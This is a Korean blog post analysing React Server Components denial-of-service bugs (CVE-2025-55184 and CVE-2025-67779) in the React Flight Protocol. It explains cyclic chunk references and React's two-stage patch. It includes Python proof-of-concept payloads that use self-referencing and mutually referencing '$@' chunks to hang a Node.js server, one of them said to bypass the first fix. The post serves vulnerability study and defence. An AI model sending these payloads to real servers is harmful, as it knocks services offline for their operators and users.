Reac & DoS
안녕하세요. AIPD팀 정승화입니다. 최근 모던 웹 생태계는 클라이언트 사이드에서 서버 사이드로 그 중심이 이동하고 있습니다. React Server Components(RSC)와 Server Actions의 등장이 대표적인 예입니다.
클라이언트의 로직이 서버로 이동하면서 클라이언트의 한계를 넘어선 일도 할 수 있게 되었습니다. 하지만 기존 클라이언트 개발에서는 겪을 수 없었던 '서버 보안 위협'에도 그대로 노출되게 되었습니다.
관련해 이번 포스팅에서는 최근 발견된 React의 DoS(Denial of Service) 관련 취약점을 분석하고 그 원인인 React Flight Protocol(RFP)을 간단히 살펴보겠습니다. 이 글을 통해 React의 독자적인 데이터 전송 방식인 React Flight Protocol(RFP) 구조를 이해하고, 조작된 페이로드가 Node.js의 싱글 스레드 환경을 어떻게 무력화하는지 그 메커니즘을 파악할 수 있을 것입니다
이 취약점을 이해하려면 먼저 React가 서버 컴포넌트를 브라우저로 전송하는 방식, 즉 React Flight Protocol(RFP)을 이해해야 합니다.
RFP는 RSC를 직렬화하여 전송하기 위한 전용 프로토콜입니다. JSON으로는 표현하기 어려운 컴포넌트 트리, 비동기 의존성, Suspense 경계 등을 처리하기 위해 독자적인 타입 기호를 사용합니다.
| 기호 | 의미 | 설명 |
|---|---|---|
| $ | Lazy/Reference | 다른 청크를 참조하거나 지연 로딩되는 컴포넌트를 정의합니다. |
| @ | Reference ID | 다른 청크의 ID를 가리킬 때 사용합니다. (예: $@1) |
| J | JSON 모델 | 실제 컴포넌트 트리나 UI 구조가 담긴 JSON 데이터입니다. |
| M | Module | 클라이언트 컴포넌트 파일의 경로 정보를 담습니다. |
| I | Inlined | 인라인된 데이터나 비동기 요청의 결과를 의미합니다. |
RFP는 서버에서 직렬화되어 클라이언트로 전송됩니다. 그리고 React 서버는 클라이언트에서 넘어온 요청을 자체 기준에 따라 역직렬화하고 실행합니다.
React 서버는 대부분 Node.js와 같은 싱글 스레드 런타임 환경에서 동작합니다. 따라서 역직렬화 과정에서 특수 참조 기호($)로 인한 순환 참조를 적절히 처리하지 못하면 스레드가 무한 루프에 빠져 블로킹 상태가 될 수 있습니다.
최근 발생한 취약점인 CVE-2025-55184는 바로 이 지점을 노렸습니다. 공격자가 조작된 RFP 페이로드를 서버로 보내면 서버는 이를 해석하려다 순환 참조의 늪에서 헤어나오지 못하게 됩니다. 이는 단순한 정보 탈취보다 치명적일 수 있습니다. 서버 자체를 무력화하여 서비스 전체를 다운시킬 수 있기 때문입니다.
React는 RSC 동작을 검증할 수 있는 테스트 환경을 갖추고 있습니다. 이 환경을 활용해 실제 DoS 공격이 어떻게 이루어지는지 테스트할 수 있습니다. React 팀이 문제를 해결하기 위해 적용한 두 단계의 패치 과정을 살펴보겠습니다.
DoS 취약점 해결은 한 번에 끝나지 않고 두 차례에 걸쳐 진행되었습니다. 각 패치가 어떤 문제를 해결하려 했는지 코드를 통해 확인해 보겠습니다.
첫 번째 문제는 페이로드가 자기 자신을 계속 참조하는 경우입니다. 공격자가 React 서버로 다음과 같이 조작된 데이터를 전송한다고 가정해 봅시다. 핵심은 then이 자기 자신을 가리키도록 하여 Promise가 영원히 resolve되지 않게 만드는 것입니다.
import requests
target = "http://localhost:3000"
timeout = 5
requests.post(
target,
files={"0": ("", '"$@0"')},
headers={
"rsc-action": "file:///Users/seunghwajeong/space/react/fixtures/flight/src/actions.js#increment",
},
timeout=timeout,
)이 페이로드를 받은 서버는 1번 청크를 해석하려다 다시 1번을 참조하게 됩니다. 결국 스택 오버플로우나 무한 루프에 빠져 멈추게 됩니다.
React 팀은 이를 방어하기 위해 현재 청크가 자기 자신인지 검사하는 로직을 추가했습니다. (PR 링크)
// packages/react-client/src/ReactFlightClient.js
case INITIALIZED:
if (typeof resolve === 'function') {
let inspectedValue = chunk.value;
// 순환 참조 감지 로직
while (inspectedValue instanceof ReactPromise) {
if (inspectedValue === chunk) {
// Chunk가 순환하여 자기 자신을 다시 만나면 에러 처리
if (typeof reject === 'function') {
reject(new Error('Cannot have cyclic thenables.'));
}
return;
}
if (inspectedValue.status === INITIALIZED) {
inspectedValue = inspectedValue.value;
} else {
// ...
}
} // ...코드를 보면 inspectedValue === chunk 조건으로 자기 자신을 다시 참조하는 경우 Cannot have cyclic thenables 에러를 발생시키고 루프를 즉시 종료하는 것을 확인할 수 있습니다.
하지만 위 수정만으로는 근본적인 해결이 되지 않았습니다. 자기 자신을 참조하는 경우는 막았지만 A → B → A처럼 서로를 참조하는 복잡한 순환 고리는 여전히 막지 못했기 때문입니다.
실제로 아래와 같이 서로 꼬리를 무는 페이로드를 React 19.2.2 버전에 전송하면 1차 패치를 우회하여 다시 서버를 DoS 상태로 만들 수 있습니다.
payload = [
('1', (None, '"$@2"')),
('2', (None, '"$@3"')),
('3', (None, '"$2"')),
('4', (None, '{"setup":["$2","$3"],"id":"test","bound":"$@1"}')),
('0', (None, '"$h4"')),
]또한, 순환하지 않더라도 페이로드 체인을 악의적으로 매우 길게 만들면 Node.js의 연산 자원을 고갈시킬 수 있습니다.
결국 React 팀은 참조 체인의 탐색 횟수를 1,000회로 제한하는 수정을 적용했습니다. 1,000번을 넘어가면 무한 루프 또는 비정상적인 요청으로 간주하고 연산을 중단합니다. (이 취약점은 CVE-2025-67779로 보고되었습니다. - PR 링크)
case INITIALIZED:
if (typeof resolve === 'function') {
let inspectedValue = chunk.value;
// Payload의 체인 횟수를 검사하는 변수
let cycleProtection = 0;
while (inspectedValue instanceof ReactPromise) {
cycleProtection++;
if (inspectedValue === chunk || cycleProtection > 1000) {
// 체인 검사가 1000회를 넘어가는 경우 연산 강제 중단
if (typeof reject === 'function') {
reject(new Error('Cannot have cyclic thenables.'));
}
return;
}
if (inspectedValue.status === INITIALIZED) {
inspectedValue = inspectedValue.value;
} else {
// ...
}
} // ...2025년 초 발생한 Next.js 미들웨어 인증 우회 취약점(CVE-2025-29927)부터 최근 React의 DoS 이슈까지 모던 웹 생태계는 크고 작은 보안 위협에 지속적으로 노출되고 있습니다.
클라이언트와 서버 코드를 하나의 프로젝트에서 작성하는 방식은 생산성과 성능 면에서 분명 혁신적인 이점을 제공해 왔습니다. 그러나 핵심적인 설계 원칙인 '관심사의 분리' 관점에서 볼 때, 과연 바람직한 방향으로 발전하고 있는지는 다시 한번 짚어볼 필요가 있습니다.
AI를 통해 신기술을 빠르게 도입할 수 있는 시대인 만큼 개발자도 이러한 편의성 뒤에 감춰진 보안적 복잡성과 그에 따른 트레이드오프를 더욱 진지하게 살펴야 할 때가 아닐까 생각합니다.
본문에서 다룬 취약점 재현 코드는 여기서 확인하실 수 있습니다. 긴 글 읽어주셔서 감사합니다.
- https://asec.ahnlab.com/ko/91660/
- https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components
- https://blog.naver.com/pjt3591oo/224110815557
- https://hackyboiz.github.io/2025/12/10/millet/cve-2025-55182/